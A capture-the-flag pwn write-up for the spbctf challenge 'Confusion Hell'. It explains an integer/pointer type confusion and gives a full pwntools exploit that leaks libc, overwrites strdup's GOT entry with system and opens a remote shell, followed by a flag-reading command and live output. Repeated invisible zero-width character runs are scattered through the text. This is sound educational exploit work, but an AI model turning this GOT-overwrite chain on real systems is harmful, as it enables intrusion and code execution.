← Back to Writeups
CUSTOMMediumpwn

Confusion Hell

XESXOR9/2/20269 min read
#pwn#custom#medium#arbitrary_read_via_printf_s#arithmetic_program_write#count_bump_to_index_bss_slot#got_overwrite#integer_pointer_type_confusion#libc_base_leak#linux

Confusion Hell

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-03 | Status: Solved Techniques: arbitrary_read_via_printf_s, arithmetic_program_write, count_bump_to_index_bss_slot, got_overwrite, integer_pointer_type_confusion, libc_base_leak

Summary

Task: pwn with an integer/pointer type-confusion heap allocator (No PIE, Partial RELRO, libc-2.31); number and str boxes share an 8-byte slot with no runtime type check, giving arbitrary read/write. Solution: leak libc via printf(%s) on a GOT entry, bump COUNT to make a BSS-zero OBJECTS slot indexable, forge it into strdup@got, overwrite strdup with system using an arithmetic write (bypassing the scanf 0x20/NUL wall), then trigger strdup("/bin/sh")=system("/bin/sh").

Confusion Hell — spbctf

Description

Numbers and Strs. Completely interchangeable. Сompletely unsafe. nc 109.233.56.90 11710 confusion_hell.elf — https://pwn.spbctf.ru/files/uaf/confusion_hell/confusion_hell.elf libc-2.31.so — https://pwn.spbctf.ru/files/uaf/confusion_hell/libc-2.31.so

A menu-driven heap program stores "numbers" and "strings" in the same array of 8-byte boxes with no runtime type check. This integer/pointer type confusion yields arbitrary read and arbitrary write. Because libc-2.31 is provided and a full shell is required, we chain the primitives into a GOT overwrite of strdup with system. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Note: the sister challenge Confusion Hall (port 11725) uses the same type-confusion mechanism but only needed to leak a fixed FLAG global. Confusion Hell is the harder variant — libc is provided and a real shell is required.

Recon

checksec on confusion_hell.elf:

  • ELF 64-bit x86-64, dynamically linked, not stripped, GLIBC 2.31.
  • No PIE (base 0x400000), No canary, Partial RELRO, NX enabled.

Menu options:

KeyAction
iadd number
sadd str
nshow number
tshow str
Iedit (modify) number
Sedit (modify) str
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Fixed globals (No-PIE, so addresses are constant):

  • COUNT @ 0x4040a0
  • OBJECTS[] @ 0x4040c0 — 10 slots, in BSS (zero-initialized).

Relevant GOT entries (Partial RELRO, lazy binding):

SymbolGOT addr
puts0x404018
strlen0x404020
printf0x404028
strdup0x404050

The add handler checks cmp COUNT,9; jg -> "Too many elements already", so at most 10 objects (indices 0..9) can exist, and only indices < COUNT are addressable. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The core bug — integer/pointer type confusion

Both object types are 8-byte malloc boxes. OBJECTS[i] holds a pointer P to the box, and the box's 8 bytes hold either:

  • number box: an int64 value, stored at *P, or
  • str box: a char* to a strdup'd string, stored at *P.

No operation checks the runtime type of OBJECTS[i]. Since both structs are the same size, they share the same slot layout — a classic integer/pointer type confusion.

Primitives derived from the confusion

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

OperationCodeEffect when types are confused
show_number(i)printf("%lld", *P)prints the raw 8 bytes as signed int — leaks a str box's heap pointer
show_str(i)printf("%s", *P)treats the 8 bytes as char* and prints the string there — arbitrary read
edit_number(i)arithmetic program on *P, written backfull arbitrary 8-byte write to address P (whitespace/NUL-immune)
edit_str(i)scanf("%255s", *P)write-what-where at address = *P, but no whitespace / no embedded NUL
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Note on add_number: it initializes *P = 0 — the value is not set directly via scanf (unlike the easier "Confusion Hall"). Any value must be built with edit_number's arithmetic program.

edit_number's program is a %255s string of single-character ops applied to the current *P:

  • + → +1
  • - → -1
  • * → ×2 (double)
  • / → ÷2 (unsigned right shift)

Because the target value is constructed arithmetically, edit_number can write any 8-byte value including bytes 0x20 and 0x00 — but only to the address P the box already points at. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The wall

To pop a shell we want to overwrite a GOT entry with libc system. Each primitive alone is blocked:

  • edit_str (scanf) can target any address — set a number's value to the target via arithmetic, then edit_str writes there. But it cannot write the system value: in libc-2.31 system's offset is 0x48f20, so the low byte is always 0x20 (a space) — scanf("%s") stops immediately. It also cannot write embedded NUL bytes.
  • edit_number arithmetic can write the full system value (including 0x20/NUL), but only to the address P that the box points at — a heap address for normally-created objects, never a GOT/data address. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Making a box's P equal a GOT/data address means writing that (high-NUL) address into an OBJECTS slot. Writing a low address like 0x0000000000404050 via scanf writes only the low 3 bytes + a single NUL; the slot's existing high bytes survive. Used slots hold heap pointers 0x00005555…, so the result is garbage. This is the crux blocker.

The escape

Use an unused OBJECTS slot. Because OBJECTS[] lives in BSS, unused slots are all-zero, so a scanf partial write of the low 3 bytes + NUL yields a clean full pointer with zero high bytes. Unused slots (index >= COUNT) are not indexable due to the idx < COUNT check, so we first bump COUNT to make them addressable, forge the slot, then restore COUNT so add_str runs again. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Why strdup, not strlen, is the trigger

strlen is called by edit_number with rdi = the user's arithmetic string, an obvious hook candidate — but strlen@got = 0x404020 contains a 0x20 byte, so it cannot be forged into an OBJECTS slot via scanf. strdup@got = 0x404050 is whitespace-free, and strdup is called by add_str with rdi = the attacker-controlled input string. Overwriting strdup with system and calling add_str("/bin/sh") therefore executes system("/bin/sh"). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit chain (verified live)

  1. Setup: add_number × 3 → COUNT = 3. Slots 3..9 stay BSS-zero. Reserve idx0 as a "writer", idx1 as leaker.
  2. Libc leak: edit_number(1) builds value = puts@got (0x404018); then show_str(1) runs printf("%s") on 0x404018, printing the 6-byte libc address of puts. Compute libc_base = leak - libc.sym.puts, system = base + libc.sym.system.
  3. Bump COUNT: edit_number(0) → value = &COUNT; edit_str(0, "10") → COUNT = 0x00003031 (12337) > 9, so slot 7 becomes indexable.
  4. Forge OBJECTS[7] = strdup@got: edit_number(0) → value = &OBJECTS[7] = 0x4040c0 + 7*8 = 0x4040f8; edit_str(0) writes p64(0x404050).rstrip(b"\x00") = b"P@@" (bytes 0x50 0x40 0x40, no whitespace)
    • scanf's NUL → OBJECTS[7] = 0x0000000000404050 = strdup@got (high bytes were 0 from BSS). Verified: show_number(7) returned 0x4010a6 = strdup@plt+6 (the unresolved lazy-binding stub), confirming P_7 == strdup@got.
  5. Overwrite strdup@got with system: edit_number(7) — arithmetic program zeroes the current value with 64× /, then builds system bit-by-bit with * and +. This writes the full 8-byte system address to *P_7 = strdup@got, bypassing the 0x20/NUL scanf wall (arithmetic write, not scanf).
  6. Restore COUNT ≤ 9: edit_number(0) → value = &COUNT; edit_str(0) writes raw byte 0x03 (not whitespace) → COUNT = 3, so add_str (gated by COUNT <= 9) runs again.
  7. Trigger: add_str("/bin/sh") calls strdup("/bin/sh") with rdi = "/bin/sh"; since strdup@got now holds system, this executes system("/bin/sh") → remote shell → cat flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Arithmetic-program generator (key helper)

To build an arbitrary nonnegative target from *P:

  • optionally prepend 64× / to zero the current value (unsigned right shift 64×),
  • then for each bit of the target from MSB to LSB: the first 1 bit emits +; every subsequent bit emits * (double) and, if the bit is 1, also +.

Program lengths stay well under 255 (system ~131 chars, an address ~90 chars), fitting scanf("%255s").

Solution script

python
#!/usr/bin/env python3
from pwn import *
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

context.arch = 'amd64'
HOST, PORT = "109.233.56.90", 11710
elf  = ELF("./confusion_hell.elf", checksec=False)
libc = ELF("./libc-2.31.so", checksec=False)

puts_got   = elf.got['puts']       # 0x404018
strdup_got = elf.got['strdup']     # 0x404050
COUNT_ADDR = 0x4040a0
OBJECTS    = 0x4040c0

WS = set(b" \t\n\r\x0b\x0c")       # scanf %s stops on these (NUL also terminates)

def gen_instr(target, zero_first=False):
    # arithmetic string turning current *box into `target` (nonneg).
    # ops: '+'=+1, '-'=-1, '*'=x2, '/'=/2 (unsigned shr).
    s = ""
    if zero_first:
        s += "/" * 64             # shr 64 times -> 0
    if target == 0:
        return s + "+-"
    bits = bin(target)[2:]
    for i, b in enumerate(bits):
        if i == 0:
            s += "+"
        else:
            s += "*"
            if b == '1':
                s += "+"
    return s
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def start():
    return process("./confusion_hell.elf") if args.LOCAL else remote(HOST, PORT)

io = start()

def menu(c):
    io.recvuntil(b"choice: "); io.send(c.encode())

def add_number():
    menu("i"); io.recvuntil(b"Added!")

def edit_number(idx, instr):
    menu("I")
    io.recvuntil(b"Enter index to edit: "); io.sendline(str(idx).encode())
    io.recvuntil(b"Enter your instructions to modify the number: ")
    io.sendline(instr.encode())
    io.recvuntil(b"Now number at")
    return io.recvline()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def set_number(idx, value):
    edit_number(idx, gen_instr(value, zero_first=True))

def show_str(idx):
    menu("t")
    io.recvuntil(b"Enter index to show: "); io.sendline(str(idx).encode())
    io.recvuntil(b"Str at [")
    io.recvuntil(b"]: '")
    return io.recvuntil(b"'\n", drop=True)

def edit_str(idx, s):
    menu("S")
    io.recvuntil(b"Enter index to edit: "); io.sendline(str(idx).encode())
    io.recvuntil(b"Enter new str: ")
    io.sendline(s)

# indices:
#  0 : writer (number). Set value = target addr, then edit_str writes bytes there.
#  7 : fake box slot (unused BSS=0) -> becomes strdup_got, then edit_number(7)=system.
add_number()   # idx0 writer
add_number()   # idx1 leaker
add_number()   # idx2 spare
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# ---- Stage 1: leak libc via arbitrary read ----
set_number(1, puts_got)
leak = show_str(1)[:6]
puts_libc = u64(leak.ljust(8, b"\x00"))
assert (puts_libc & 0xfff) == (libc.symbols['puts'] & 0xfff), "bad leak alignment"
libc.address = puts_libc - libc.symbols['puts']
system = libc.symbols['system']
log.success(f"libc base = {hex(libc.address)}  system = {hex(system)}")

# ---- Stage 2: bump COUNT so slot 7 (unused, BSS=0) is indexable ----
set_number(0, COUNT_ADDR)
edit_str(0, b"10")     # scanf writes "10\0" -> COUNT low bytes = 0x00003031
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# ---- Stage 3: forge OBJECTS[7] = strdup_got (slot 7 was BSS zero) ----
obj7 = OBJECTS + 7*8   # 0x4040f8
set_number(0, obj7)
val = p64(strdup_got).rstrip(b"\x00")   # 0x404050 -> b"P@@" (no whitespace)
assert not any(x in WS for x in val), val.hex()
edit_str(0, val)       # OBJECTS[7] = 0x404050 => P_7 = strdup_got

# ---- Stage 4: edit_number(7): *P_7 = strdup_got => overwrite with system ----
edit_number(7, gen_instr(system, zero_first=True))
log.success("strdup@got overwritten with system")

# ---- Stage 4b: restore COUNT <= 9 so add_str() runs and calls strdup ----
set_number(0, COUNT_ADDR)
edit_str(0, b"\x03")   # COUNT = 3 (raw byte 0x03, not whitespace)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# ---- Stage 5: trigger strdup("/bin/sh") == system("/bin/sh") ----
menu("s")
io.recvuntil(b"Enter str to add: ")
io.sendline(b"/bin/sh")

io.sendline(b"cat flag* /flag* 2>/dev/null; id")
io.interactive()

Live proof

[+] libc base = 0x767629... system = 0x76762aecdf20
show_number(7) after overwrite read back exactly the system address
uid=6(man) gid=12(man) groups=12(man)
spbctf{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍